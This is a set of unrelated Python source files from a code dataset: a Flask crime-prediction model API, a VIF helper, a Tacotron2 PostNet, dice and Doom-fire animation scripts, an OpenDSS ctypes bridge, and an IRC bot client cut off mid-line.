config['GENERAL']['DefaultModel']\n\nmodel,model_name,model_features,graph,model_type,model_scalers,model_info = load_model(default_model)\ntry:\n features_file = 's3://w210policedata/datasets/AvailableFeatures.pickle'\n s3 = s3fs.S3FileSystem(anon=False)\n with s3.open(features_file, \"rb\") as json_file:\n available_features = pickle.load(json_file)\n json_file.close()\n # features_file = 's3://w210policedata/datasets/AdditionalFeatures.parquet'\n # features_data = pd.read_parquet(features_file)\n features_file = 's3://w210policedata/datasets/AdditionalFeatures.csv'\n features_data = pd.read_csv(features_file)\n features_data['Community Area'] = features_data['Community Area'].map(str)\nexcept Exception as e:\n print('Failure reading additional feature data from S3.')\n\n# Services to implement:\n# * Train\n# * Predict\n# * Evaluate model\n\ndef processTracker(process):\n for line in iter(process.stdout.readline, b''):\n processStdout.append('{0}'.format(line.decode('utf-8')))\n process.poll()\n\nclass checkService(Resource):\n def get(self):\n # Test if the service is up\n return {'message':'Machine learning service is running.','result': 'success'}\n\nclass trainModel(Resource):\n def get(self):\n # Run background worker to read from S3, transform and write back to S3\n global runningProcess\n global processStdout\n\n trainParser = reqparse.RequestParser()\n trainParser.add_argument('modelname')\n trainParser.add_argument('modeltype')\n trainParser.add_argument('features')\n args = trainParser.parse_args()\n\n if args['modelname'] is None:\n return {'message':'Missing modelname argument.','result':'failed'}\n if args['modeltype'] is None:\n return {'message':'Missing modeltype argument. Supported types: keras, xgboost.','result':'failed'}\n if args['features'] is None:\n return {'message':'Missing features argument.','result':'failed'}\n\n if (runningProcess is not None):\n if (runningProcess.poll() is None):\n return {'message':'There is a model training job currently running.','pid':runningProcess.pid,'result': 'failed'}\n try:\n if json.loads(args['modeltype']) == 'keras':\n command = 'python trainer_keras.py'\n else:\n command = 'python trainer_xgbregressor.py'\n command += ' '+json.loads(args['modelname'])\n for feature in json.loads(args['features']):\n command += ' \"'+feature+'\"'\n print(shlex.split(command))\n runningProcess = subprocess.Popen(shlex.split(command),stdout=subprocess.PIPE,stderr=subprocess.STDOUT)\n processStdout = []\n t = threading.Thread(target=processTracker, args=(runningProcess,))\n t.start()\n except:\n return{'message':'Model training failed.','pid':None,'result': 'failed'}\n return {'message':'Model training started.','pid':runningProcess.pid,'result': 'success'}\n\nclass getTrainingStatus(Resource):\n def get(self):\n global runningProcess\n global processStdout\n\n # Check if the background worker is running and how much of the work is completed\n if (runningProcess is not None):\n returncode = runningProcess.poll()\n if (returncode is not None):\n if (returncode != 0):\n return {'returncode':returncode,'status':'Model training failed','stdout':processStdout}\n else:\n return {'returncode':returncode,'status':'Model training finished succesfully','stdout':processStdout}\n else:\n return {'returncode':None,'status':'Model is still training','stdout':processStdout}\n return {'returncode':None,'status':'No model training running','stdout': None}\n\nclass killTrainer(Resource):\n def get(self):\n global runningProcess\n global processStdout\n\n # Check if the worker is running and kill it\n if (runningProcess is not None):\n returncode = runningProcess.poll()\n if (returncode is None):\n runningProcess.kill()\n processStdout.append('[' + str(datetime.now()) + '] Model training killed.')\n return {'message':'Kill signal sent to model trainer.','result':'success'}\n return {'message':'No model training running','result': 'failed'}\n\nclass predict(Resource):\n # Get predictors\n def get(self):\n global model\n global model_name\n global model_features\n global model_type\n if (model is None):\n return {'message':'Model is not loaded','result':'failed'}\n return {'model_name':model_name,'model_type':model_type,'input_features':model_features,'result':'success'}\n # Run the predictions\n def post(self):\n global model\n global model_features\n global graph\n global model_type\n global model_scalers\n global model_info\n global available_features\n global features_data\n\n predictParser = reqparse.RequestParser()\n predictParser.add_argument('communityarea')\n predictParser.add_argument('weekday')\n predictParser.add_argument('weekyear')\n predictParser.add_argument('hourday')\n\n if (model is None):\n return {'message':'Model is not loaded','result':'failed'}\n args = predictParser.parse_args()\n for arg in args:\n if args[arg] is None:\n if (arg == 'communityarea'):\n args[arg] = [i for i in range(1,78)]\n else:\n return {'message':'Missing input '+arg,'result':'failed'}\n else:\n args[arg] = json.loads(args[arg])\n df = pd.DataFrame()\n crime_types = [x for x in model_features if x.startswith('primaryType_')]\n results = []\n for ca,wy,wd,hd,ct in itertools.product(args['communityarea'],args['weekyear'],args['weekday'],args['hourday'],crime_types):\n line = {'Community Area':str(ca),'Week of the Year':str(wy),'Day of the Week':str(wd),\n 'Period of the Day':str(hd),'Crime Type':ct.replace('primaryType_','')}\n df = df.append(line, ignore_index=True)\n results.append({'communityArea':str(ca),'weekYear':wy,'weekDay':wd,'hourDay':hd,'primaryType':ct.replace('primaryType_',''),'pred':None})\n df = pd.merge(df, features_data, on='Community Area')\n for feat in available_features:\n if feat['onehot-encoded']:\n df = pd.concat([df,pd.get_dummies(df[feat['feature']], prefix=feat['column'])],axis=1)\n df.drop(columns=[feat['feature']], inplace=True)\n for feat in model_features:\n if feat not in df:\n df[feat] = 0\n df.fillna(0,inplace=True)\n df = df.filter(items=model_features,axis=1)\n if (model_type == 'keras'):\n df = model_scalers['x'].transform(df)\n with graph.as_default():\n prediction = model.predict(df)\n prediction = model_scalers['y'].inverse_transform(prediction)\n else:\n df = model_scalers['x'].transform(df)\n prediction = model.predict(df)\n prediction = model_scalers['y'].inverse_transform(prediction.reshape(-1,1))\n print(len(prediction))\n for i in range(len(prediction)):\n if model_type == 'keras':\n results[i]['pred'] = int(max(np.round(float(prediction[i][0])-0.39+0.5),0))\n else:\n results[i]['pred'] = int(max(np.round(float(prediction[i])-0.39+0.5),0))\n return {'result':results}\n\nclass predictionAndKPIs(Resource):\n # Get predictors\n def get(self):\n global model\n global model_features\n global model_type\n global model_name\n if (model is None):\n return {'message':'Model is not loaded','result':'failed'}\n return {'model_name':model_name,'model_type':model_type,'input_features':model_features,'result':'success'}\n # Run the predictions\n def post(self):\n global model\n global model_features\n global graph\n global model_type\n global model_scalers\n global model_info\n\n predictParser = reqparse.RequestParser()\n predictParser.add_argument('communityarea')\n predictParser.add_argument('weekday')\n predictParser.add_argument('weekyear')\n predictParser.add_argument('hourday')\n\n if (model is None):\n return {'message':'Model is not loaded','result':'failed'}\n args = predictParser.parse_args()\n for arg in args:\n if args[arg] is None:\n if (arg == 'communityarea'):\n args[arg] = [i for i in range(1,78)]\n else:\n return {'message':'Missing input '+arg,'result':'failed'}\n else:\n args[arg] = json.loads(args[arg])\n df = pd.DataFrame()\n crime_types = [x for x in model_features if x.startswith('primaryType_')]\n results = []\n for ca,wy,wd,hd,ct in itertools.product(args['communityarea'],args['weekyear'],args['weekday'],args['hourday'],crime_types):\n line = {'Community Area':str(ca),'Week of the Year':str(wy),'Day of the Week':str(wd),\n 'Period of the Day':str(hd),'Crime Type':ct.replace('primaryType_','')}\n df = df.append(line, ignore_index=True)\n results.append({'communityArea':str(ca),'weekYear':wy,'weekDay':wd,'hourDay':hd,'primaryType':ct.replace('primaryType_',''),'pred':None})\n df = pd.merge(df, features_data, on='Community Area')\n for feat in available_features:\n if feat['onehot-encoded']:\n df = pd.concat([df,pd.get_dummies(df[feat['feature']], prefix=feat['column'])],axis=1)\n df.drop(columns=[feat['feature']], inplace=True)\n for feat in model_features:\n if feat not in df:\n df[feat] = 0\n df.fillna(0,inplace=True)\n df = df.filter(items=model_features,axis=1)\n if (model_type == 'keras'):\n df = model_scalers['x'].transform(df)\n with graph.as_default():\n prediction = model.predict(df)\n prediction = model_scalers['y'].inverse_transform(prediction)\n else:\n df = model_scalers['x'].transform(df)\n prediction = model.predict(df)\n prediction = model_scalers['y'].inverse_transform(prediction.reshape(-1,1))\n for i in range(len(prediction)):\n if model_type == 'keras':\n results[i]['pred'] = int(max(np.round(float(prediction[i][0])-0.39+0.5),0))\n else:\n results[i]['pred'] = int(max(np.round(float(prediction[i][0])-0.39+0.5),0))\n\n # Consolidate into map format and calculate KPIs\n crimeByCommunity = defaultdict(int)\n crimeByType = defaultdict(int)\n communities = {}\n predictionFairness = 0\n\n for comm in db.session.query(Community):\n communities[comm.code] = {'id':comm.id,'code':comm.code,'name':comm.name,'ethnicity':comm.ethnicity}\n\n for result in results:\n if (result['communityArea'] is not None) and (result['primaryType'] is not None) and (result['communityArea'] != '0') and (result['primaryType'] != ''):\n crimeByCommunity[result['communityArea']] += result['pred']\n crimeByType[result['primaryType']] += result['pred']\n\n predictionFairness = calculateFairness(communities,crimeByCommunity)\n\n return {'crimeByCommunity':crimeByCommunity, 'crimeByType':crimeByType, 'fairness': predictionFairness, 'predictions':results, 'result':'success'}\n\nclass reloadModel(Resource):\n def get(self):\n # Reload the model\n global model\n global model_name\n global model_features\n global graph\n global model_type\n global model_scalers\n global model_info\n global features_data\n global available_features\n\n loadParser = reqparse.RequestParser()\n loadParser.add_argument('modelname')\n args = loadParser.parse_args()\n\n if args['modelname'] is None:\n return {'message':'Missing modelname argument.','result':'failed'}\n\n try:\n model,model_name,model_features,graph,model_type,model_scalers,model_info = load_model(json.loads(args['modelname']))\n features_file = 's3://w210policedata/datasets/AvailableFeatures.pickle'\n s3 = s3fs.S3FileSystem(anon=False)\n with s3.open(features_file, \"rb\") as json_file:\n available_features = pickle.load(json_file)\n json_file.close()\n #features_file = 's3://w210policedata/datasets/AdditionalFeatures.parquet'\n #features_data = pd.read_parquet(features_file)\n features_file = 's3://w210policedata/datasets/AdditionalFeatures.csv'\n features_data = pd.read_csv(features_file)\n features_data['Community Area'] = features_data['Community Area'].map(str)\n return{'message':'Model loaded succesfully.','error':None,'result': 'success'}\n except Exception as e:\n return{'message':'Model load failed.','error':str(e),'result': 'failed'}\n\nclass getAvailableModels(Resource):\n def get(self):\n # Look into S3 Models folder for trained models\n models = []\n try:\n s3 = s3fs.S3FileSystem(anon=False)\n items = s3.ls('w210policedata/models',detail=True)\n for item in items:\n if item['StorageClass'] == 'DIRECTORY':\n modelinfo_file = item['Key']+'/modelinfo.pickle'\n with s3.open(modelinfo_file, \"rb\") as pickle_file:\n model_info = pickle.load(pickle_file)\n pickle_file.close()\n models.append(model_info)\n except Exception as e:\n return{'message':'Failure reading model data from S3.','error':str(e),'result':'failed'}\n return {'models':models,'result':'success'}\n\nclass getAvailableFeatures(Resource):\n def get(self):\n global available_features\n global features_data\n try:\n #file = './data/OneHotEncodedDataset.parquet' # This line to read from local disk\n features_file = 's3://w210policedata/datasets/AvailableFeatures.pickle' # This line to read from S3\n #training_data = pd.read_csv(file,sep=',', error_bad_lines=False, dtype='unicode')\n s3 = s3fs.S3FileSystem(anon=False)\n with s3.open(features_file, \"rb\") as json_file:\n available_features = pickle.load(json_file)\n json_file.close()\n #features_file = 's3://w210policedata/datasets/AdditionalFeatures.parquet'\n #features_data = pd.read_parquet(features_file)\n features_file = 's3://w210policedata/datasets/AdditionalFeatures.csv'\n features_data = pd.read_csv(features_file)\n features_data['Community Area'] = features_data['Community Area'].map(str)\n except Exception as e:\n return{'message':'Failure reading available features data from S3.','error':str(e),'result':'failed'}\n return {'features':available_features,'result':'success'}\n\napi.add_resource(checkService, '/')\napi.add_resource(trainModel, '/trainModel')\napi.add_resource(getTrainingStatus, '/getTrainingStatus')\napi.add_resource(killTrainer, '/killTrainer')\napi.add_resource(predict, '/predict')\napi.add_resource(predictionAndKPIs, '/predictionAndKPIs')\napi.add_resource(reloadModel, '/reloadModel')\napi.add_resource(getAvailableModels, '/getAvailableModels')\napi.add_resource(getAvailableFeatures, '/getAvailableFeatures')\n\nif __name__ == '__main__':\n application.run(debug=True, port=60000)\n","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":23420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"387496175","text":"# Lint as: python3\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Functions commonly used to perform feature enineering.\n\"\"\"\n\nimport pandas as pd\nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\nfrom statsmodels.tools.tools import add_constant\n\n\ndef calculate_vif(data: pd.DataFrame, sort: bool = True) -> pd.DataFrame:\n \"\"\"Calculates Variance Inflation Factors (VIFs) of a pandas dataframe.\n\n VIFs are a statistical measure of multicolinearity between a set of variables.\n See https://en.wikipedia.org/wiki/Variance_inflation_factor.\n\n Args:\n data: Must not include the response variable (Y). Must be numeric (no\n strings or categories).\n sort: If True, sorts the results by the VIFs in descending order.\n\n Returns:\n A VIF value for each feature.\n \"\"\"\n\n assert all([pd.api.types.is_numeric_dtype(data[col]) for col in data.columns\n ]), ('All columns must be numeric. Try one hot encoding the data.')\n\n # Expects an intercept column to give the correct results.\n data = add_constant(data, has_constant='skip')\n\n vif_list = []\n for i in range(data.shape[1]):\n vif_list.append(variance_inflation_factor(data.values, i))\n\n vif_df = pd.DataFrame({'VIF': vif_list, 'features': data.columns})\n\n # We have to remove the constant.\n vif_df = vif_df.loc[vif_df['features'] != 'const']\n\n if sort:\n vif_df = vif_df.sort_values('VIF', ascending=False)\n return vif_df\n","sub_path":"py/gps_building_blocks/ml/preprocessing/vif.py","file_name":"vif.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"191219333","text":"# -*- coding: utf-8 -*-\n# Soohwan Kim @sooftware\n# This source code is licensed under the Apache 2.0 License license found in the\n# LICENSE file in the root directory of this source tree\n\nimport torch.nn as nn\nfrom torch import Tensor\nfrom tacotron2.model.modules import ConvBlock\n\n\nclass PostNet(nn.Module):\n \"\"\"\n\n Args:\n num_mel_filters: number of mel filters\n postnet_dim: dimension of postnet\n num_conv_layers: number of convolution layers\n kernel_size: size of convolution kernel\n dropout_p: probability of dropout\n \"\"\"\n def __init__(\n self,\n num_mel_bins: int = 80,\n postnet_dim: int = 512,\n num_conv_layers: int = 3,\n kernel_size: int = 5,\n dropout_p: float = 0.5\n ):\n super(PostNet, self).__init__()\n\n assert num_conv_layers > 2, \"PostNet num_conv_layers should be bigger than 2\"\n\n self.conv_layers = nn.ModuleList()\n self.conv_layers.append(ConvBlock(\n input_dim=num_mel_bins,\n output_dim=postnet_dim,\n kernel_size=kernel_size,\n padding=int((kernel_size - 1) / 2),\n dropout_p=dropout_p,\n activation='tanh'\n ))\n\n for _ in range(num_conv_layers - 2):\n self.conv_layers.append(ConvBlock(\n input_dim=postnet_dim,\n output_dim=postnet_dim,\n kernel_size=kernel_size,\n padding=int((kernel_size - 1) / 2),\n dropout_p=dropout_p,\n activation='tanh'\n ))\n\n self.conv_layers.append(ConvBlock(\n input_dim=postnet_dim,\n output_dim=num_mel_bins,\n kernel_size=kernel_size,\n padding=int((kernel_size - 1) / 2),\n dropout_p=dropout_p,\n activation='tanh'\n ))\n\n def forward(self, x: Tensor):\n for conv_layer in self.conv_layers:\n x = conv_layer(x)\n return x\n","sub_path":"tacotron2/model/postnet.py","file_name":"postnet.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"281121079","text":"\"\"\"Dice rolling functionality.\"\"\"\n\nimport random\n\nD100_SIDES = 100\nD8_SIDES = 8\nD6_SIDES = 6\n\ndef roll_min_max(_min, _max):\n \"\"\"Roll dice.\"\"\"\n return random.randint(_min,_max)\n\ndef roll(sides=D100_SIDES, num_rolls=1):\n \"\"\"Roll dice.\"\"\"\n result = 0\n for _ in xrange(num_rolls): #intentionally unused placeholder\n result += random.randint(1, sides)\n return result\n\ndef test_distribution(_min, _max, iterations):\n dist_results={}\n for _ in xrange(iterations):\n result = roll_min_max(_min, _max)\n if result not in dist_results:\n dist_results[result] = 1\n else:\n dist_results[result] += 1\n return dist_results\n","sub_path":"Baseball/utilities/dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"234154516","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 26 23:21:19 2019\n@author: Samuel Rocha\n\"\"\"\n\nfrom matplotlib.animation import FuncAnimation\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass Animation(object):\n def __init__(self):\n self.res = (100,100)\n self.fig = plt.figure(\"Doom Fire\",figsize=self.res)\n self.axe = self.fig.add_axes([0, 0, 1, 1], frameon=False)\n self.axe.set_xlim(0.5, self.res[1]-0.5), self.axe.set_xticks([])\n self.axe.set_ylim(0.5,self.res[0]-0.5), self.axe.set_yticks([])\n self.initAnimationData()\n \n def runAnimation(self):\n self.renderAnimation()\n self.animation = FuncAnimation(self.fig,self.updateAnimationData,interval=10)\n plt.show()\n\n def renderAnimation(self):\n self.doom_fire_render = self.axe.imshow(self.doom_fire,interpolation='none',cmap=plt.cm.hot,vmin=self.fire_min,vmax=self.fire_max)\n\n def initAnimationData(self):\n np.random.seed(0)\n self.fire_min, self.fire_max = 0, self.res[0]\n self.doom_fire = np.zeros(self.res,dtype=np.float32)\n self.doom_fire[0] = self.fire_max\n\n def updateAnimationData(self,frame):\n for i in range(self.res[0]-1,0,-1):\n for j in range(0,self.res[1]):\n fire_decay = 3*np.random.random(1)[0]\n wind = np.random.randint(0,3)\n self.doom_fire[i][j-wind] = self.doom_fire[i-1][j] - fire_decay\n self.doom_fire_render.set_data(self.doom_fire)\n \nif __name__ == '__main__':\n doom_fire = Animation()\n doom_fire.runAnimation()\n","sub_path":"doom_fire_animation.py","file_name":"doom_fire_animation.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"311865533","text":"# -*- encoding: utf-8 -*-\n\"\"\"\n Created by eniocc at 30/04/2021\n\"\"\"\nimport struct\nimport ctypes\nimport logging\nimport sys\nimport numpy as np\nimport pandas as pd\n\nlogger = logging.getLogger('opendssdirect.core')\n\n\ndef is_x64():\n return 8 * struct.calcsize(\"P\") == 64\n\n\ndef is_delphi():\n if 'darwin' in sys.platform or 'linux' in sys.platform:\n return False\n else:\n return True\n\n\nif is_x64():\n POINTER = ctypes.c_int64\nelse:\n POINTER = ctypes.c_int32\n\nif is_delphi():\n HEADER_SIZE = 4 # Windows\nelse:\n HEADER_SIZE = 8 # OSX and LINUX\n\n\nclass ArrayEnio(ctypes.Structure):\n _fields_ = [\n ('size', ctypes.c_int),\n ('data', ctypes.POINTER(ctypes.c_float)),\n ]\n\n\nclass VArg(ctypes.Structure):\n _fields_ = [\n ('dtype', ctypes.c_uint64),\n ('p', ctypes.POINTER(None)),\n ('dum1', ctypes.c_uint64),\n ('dum2', ctypes.c_uint64),\n ]\n\n\nclass VarArray(ctypes.Structure):\n _fields_ = [\n ('dimcount', ctypes.c_uint8),\n ('flags', ctypes.c_uint8),\n ('elementsize', ctypes.c_uint32),\n ('lockcount', ctypes.c_uint32),\n ('data', ctypes.POINTER(None)),\n ('length', ctypes.c_uint),\n ('lbound', ctypes.c_uint),\n ]\n\n\ndef c_types_function(f, param, dss_arg, name):\n if isinstance(dss_arg, str):\n dss_arg = dss_arg.encode('ascii')\n\n logger.debug(\"Calling function {} with arguments {}\".format(name, (param, dss_arg)))\n r = f(param, dss_arg)\n\n if isinstance(r, bytes):\n r = r.decode('ascii')\n return r\n\n\ndef var_array_function(f, param, optional, name):\n varg = VArg(0, None, 0, 0)\n p = ctypes.POINTER(VArg)(varg)\n if optional is not None:\n f(param, p, optional)\n else:\n logger.debug(\"Calling function {} with arguments {}\".format(name, (param, p)))\n f(param, p)\n\n logger.debug(\"Successively called and returned from function {}\".format(name))\n var_arr = ctypes.cast(varg.p, ctypes.POINTER(VarArray)).contents\n\n l_ = list()\n if varg.dtype == 0x2008 and var_arr.length != 0: # CString\n data = ctypes.cast(var_arr.data, ctypes.POINTER(POINTER * var_arr.length))\n for s in data.contents:\n if s == 0:\n continue\n else:\n length = ctypes.cast(s - HEADER_SIZE, ctypes.POINTER(ctypes.c_uint8)).contents.value\n if is_delphi():\n length = int(length / 2)\n s = ctypes.cast(s, ctypes.POINTER(ctypes.c_int16 * length))\n s = u''.join([chr(x) for x in s.contents[:]])\n if s.lower() != 'none':\n l_.append(s)\n\n elif varg.dtype == 0x2005 and var_arr.length != 0: # Float64\n data = ctypes.cast(var_arr.data, ctypes.POINTER(ctypes.c_double * var_arr.length))\n # Converting CFloat to Python float, more efficiency could be gained by using NumPy\n for i in data.contents:\n l_.append(i)\n\n elif varg.dtype == 0x2003 and var_arr.length != 0: # Int32\n data = ctypes.cast(var_arr.data, ctypes.POINTER(ctypes.c_int32 * var_arr.length))\n # Converting CInt32 to Python float, more efficiency could be gained by using NumPy\n for i in data.contents:\n l_.append(i)\n\n elif varg.dtype == 0x2011 and var_arr.length != 0:\n signature = ctypes.cast(var_arr.data, ctypes.POINTER(ctypes.c_int32)).contents.value\n\n if signature != 43756:\n logger.warning(\n \"ByteStream did not contain expected signature. Found {} but expected 43756\".format(signature))\n else:\n # data = ctypes.cast(var_arr.data, ctypes.POINTER(ctypes.c_int32 * 4))\n # signature, version, size, param = data.contents\n\n p = ctypes.cast(var_arr.data, ctypes.POINTER(ctypes.c_int32))\n a_ptr = ctypes.cast(p, ctypes.c_void_p)\n a_ptr.value += ctypes.sizeof(p._type_)\n version = ctypes.cast(a_ptr, ctypes.POINTER(ctypes.c_int32)).contents.value\n a_ptr.value += ctypes.sizeof(p._type_)\n size = ctypes.cast(a_ptr, ctypes.POINTER(ctypes.c_int32)).contents.value\n a_ptr.value += ctypes.sizeof(p._type_)\n param = ctypes.cast(a_ptr, ctypes.POINTER(ctypes.c_int32)).contents.value\n logger.debug(\n \"version={version}, size={size}, param={param}\".format(version=version, size=size, param=param))\n\n a_ptr.value += ctypes.sizeof(p._type_)\n header = ctypes.cast(a_ptr, ctypes.POINTER(ctypes.c_char * 256)).contents.value\n header = [i.strip() for i in header.decode('ascii').strip().rstrip(',').split(',')]\n\n a_ptr.value = a_ptr.value + 256 * ctypes.sizeof(ctypes.c_char)\n count = (var_arr.length - 272) / 4 / (size + 2)\n\n if int(count) != count:\n logger.error(\n \"Expected count to be integer but found count={count}\".format(\n count=count,\n )\n )\n else:\n count = int(count)\n\n data = ctypes.cast(a_ptr, ctypes.POINTER(ctypes.c_float * (size + 2) * count))\n\n for row in data.contents[:]:\n for i, v in enumerate(row[:]):\n l_.append(v)\n\n try:\n l_ = np.array(l_).reshape([-1, len(header)])\n l_ = pd.DataFrame(l_, columns=header)\n except NameError:\n l_ = [l_, header]\n\n elif var_arr.length == 0:\n logger.warning(\"Empty var_arr found\")\n else:\n logger.warning(\"Unsupported dtype {} returned for {}. Please contact developer\".format(varg.dtype, name))\n return l_\n","sub_path":"src/py_dss_interface/models/Bridge.py","file_name":"Bridge.py","file_ext":"py","file_size_in_byte":5694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"470892694","text":"import socket, traceback, time, os\nfrom irc.client import NickMask\nclass Socket:\n\tdef __init__(self,server):\n\t\tself.sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\t\tself.sock.connect(server)\n\t\tself._read_buffer=b\"\"\n\tdef read(self):\n\t\ttry:\n\t\t\tdata=self.sock.recv(4096)\n\t\t\tif not data:\n\t\t\t\treturn None\n\t\texcept: return traceback.print_exc()\n\t\tdata = self._read_buffer+data\n\t\tself._read_buffer=b\"\"\n\t\tlines = [line.strip(b\"\\r\") for line in data.split(b\"\\n\")]\n\t\tif lines[-1]:\n\t\t\tself._read_buffer=lines[-1]\n\t\tlines.pop(-1)\n\t\tlines = [line.decode(\"utf-8\") for line in lines]\n\t\tfor line in lines:\n\t\t\tprint(line)\n\t\treturn lines\n\tdef send(self,line):\n\t\tself.sock.send(line.encode(\"utf-8\"))\n\tdef close(self):\n\t\tself.sock.shutdown(socket.SHUT_RDWR)\n\t\tself.sock.close()\n\ndef unescape(value):\n\treturn value.replace(r\"\\:\",\";\").replace(r\"\\s\",\" \").replace(r\"\\\\\",\"\\\\\").replace(r\"\\r\",\"\\r\").replace(r\"\\n\",\"\\n\")\n\ndef escape(value):\n\treturn value.replace(\";\",r\"\\:\").replace(\" \",r\"\\s\").replace(\"\\\\\",r\"\\\\\").replace(\"\\r\",r\"\\r\").replace(\"\\n\",r\"\\n\")\n\nMISSING = None\n\nclass IRCLine:\n\tdef __init__(self,command,*params,tags=dict(),hostmask=\"\"):\n\t\tself.command=command\n\t\tif len(params)==0:\n\t\t\tself.params=[]\n\t\telif len(params)==1 and type(params[0]) in (list,tuple):\n\t\t\tself.params=list(params[0])\n\t\telse:\n\t\t\tself.params=list(params)\n\t\tself.tags=tags\n\t\tself.hostmask=NickMask(hostmask) if hostmask else None\n\t@property\n\tdef line(self):\n\t\tprefix=\"\"\n\t\tif len(list(self.tags.keys()))>0:\n\t\t\ttagc = len(list(self.tags.keys()))\n\t\t\tprefix+=\"@\"\n\t\t\tfor i,tag in enumerate(self.tags.keys()):\n\t\t\t\tprefix+=tag\n\t\t\t\tif self.tags[tag] is not MISSING:\n\t\t\t\t\tprefix+=\"=\"+escape(str(self.tags[tag]))\n\t\t\t\tif (i+1)<tagc:\n\t\t\t\t\tprefix+=\";\"\n\t\t\tprefix+=\" \"\n\t\tif self.hostmask:\n\t\t\tprefix+=\":{} \".format(self.hostmask)\n\t\treturn prefix+\" \".join([self.command]+self.params)+\"\\r\\n\"\n\t@classmethod\n\tdef parse_line(cls,line):\n\t\tparts = line.split()\n\t\ttags = dict()\n\t\tif parts[0].startswith(\"@\"):\n\t\t\ttaglist = parts.pop(0)[1:].split(\";\")\n\t\t\tfor tag in taglist:\n\t\t\t\tif \"=\" in tag:\n\t\t\t\t\tkey, value = tag.split(\"=\",1)\n\t\t\t\t\ttags[key]=unescape(value)\n\t\t\t\telse:\n\t\t\t\t\ttags[tag]=MISSING\n\t\thostmask=None\n\t\tif parts[0].startswith(\":\"):\n\t\t\thostmask=parts.pop(0)[1:]\n\t\ti=len(parts)-1\n\t\twhile i>0 and not parts[i].startswith(\":\"): i-=1\n\t\tif i!=0: parts[i:]=[\" \".join(parts[i:])]\n\t\treturn cls(*parts,tags=tags,hostmask=hostmask)\n\tdef encode(self,*args,**kwargs):\n\t\t# clearly, if we're here, I'm an idiot and am trying to send an\n\t\t# IRCLine object down the tube. just do it.\n\t\treturn self.line.encode(*args,**kwargs)\n\nPLUGIN_MODULES={}\nclass IRCBot:\n\tdef __init__(self,nickname,username,realname=\"IRCBot\",server=(\"localhost\",6667),channels=[\"#bots\"]):\n\t\tself.nickname=nickname\n\t\tself.username=username\n\t\tself.realname=realname\n\t\tself.server=server\n\t\tself.channels=channels\n\t\t#self.event_manager=events.EventManager()\n\tdef load_modules(self):\n\t\treturn\n\t\t#self.event_manager.clear()\n\t\tfor name in os.listdir(\"plugins\"):\n\t\t\tif name.endswith(\".py\"):\n\t\t\t\tself.load_module(name[:-3],os.path.join(\"plugins\",name))\n\tdef load_module(self,modname,path):\n\t\ttry:\n\t\t\tif modname in PLUGIN_MODULES:\n\t\t\t\tprint(\"{} already imported, reloading\".format(modname))\n\t\t\t\tPLUGIN_MODULES[modname].reload()\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\tprint(\"importing {}\".format(modname))\n\t\t\t\t\tPLUGIN_MODULES[modname]=impmod.Module(modname,path)\n\t\t\t\texcept:\n\t\t\t\t\tprint(\"Unable to load plugin {}\".format(modname))\n\t\t\t\t\ttraceback.print_exc()\n\t\t\tregister_func = getattr(PLUGIN_MODULES[modname].module,\"register\",None)\n\t\t\tif not register_func:\n\t\t\t\tprint(f\"Plugin {modname} has no register function!\")\n\t\t\t\tprint(\"Remember, if porting plugins from a minerbot-based architecture,\")\n\t\t\t\tprint(\"you have to add a register function to use the new system.\")\n\t\t\t\treturn\n\t\t\tregister_func(self)\n\t\texcept:\n\t\t\ttraceback.print_exc()\n\t\t\tpass\n\tdef handle_line(self,line):\n\t\tif type(line)!=IRCLine: line = IRCLine.parse_line(line)\n\t\t#self.event_manager(events.Event(\"raw_line\",text=line.line,parsed=line))\n\t\tif line.command==\"PING\":\n\t\t\tline.command=\"PONG\"\n\t\t\tself.socket.send(line.line)\n\t\t\treturn\n\t\tif line.hostmask is None: return\n\t\tif line.hostmask.nick==self.nickname:\n\t\t\treturn\n\t\tif line.command in \"PRIVMSG NOTICE\".split():\n\t\t\ttarget = line.params[0]\n\t\t\tmessage = line.params[1][1:]\n\t\t\t#self.event_manager(events.Event(line.command.lower(),target=target,message=message,tags=line.tags,hostmask=line.hostmask))\n\t\t#elif line.command == \"TAGMSG\":\n\t\t\t#self.event_manager(events.Event(\"tagmsg\",hostmask=line.hostmask,tags=line.tags,target=line.params[0]))\n\t\t#elif line.command == \"INVITE\":\n\t\t\t#self.event_manager(events.Event(\"invite\",to=line.params[1][1:],hostmask=line.hostmask))\n\t\telif line.command == \"PING\":\n\t\t\tself.socket.send(IRCLine(\"PONG\",line.params).line)\n\tdef start(self):\n\t\tself.socket = Socket(self.server)\n\t\tself.socket.send(\"NICK {}\\r\\n\".format(self.nickname))\n\t\tself.socket.send(\"USER {} * * :{}\\r\\n\".format(self.username,self.realname))\n\t\ttime.sleep(2) # give the server some time to record my username\n\t\tself.socket.read()\n\t\tself.socket.send(\"QUIT :disconnecting\\r\\n\")\n#\t\tself.event_manager(events.Event(\"connection_established\"))\n#\t\tfor channel in self.channels:\n#\t\t\tself.socket.send(f\"JOIN {channel}\\r\\n\")\n#\t\t\ttime.sleep(1)\n#\t\tself.socket.send(\"CAP REQ 